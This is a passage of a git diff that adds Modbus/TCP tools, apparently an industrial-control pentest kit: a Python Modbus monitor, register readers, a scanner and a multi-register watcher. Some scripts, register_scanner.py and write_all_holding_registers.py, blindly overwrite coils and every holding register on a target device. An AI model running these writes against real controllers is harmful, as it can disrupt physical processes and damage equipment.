entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set 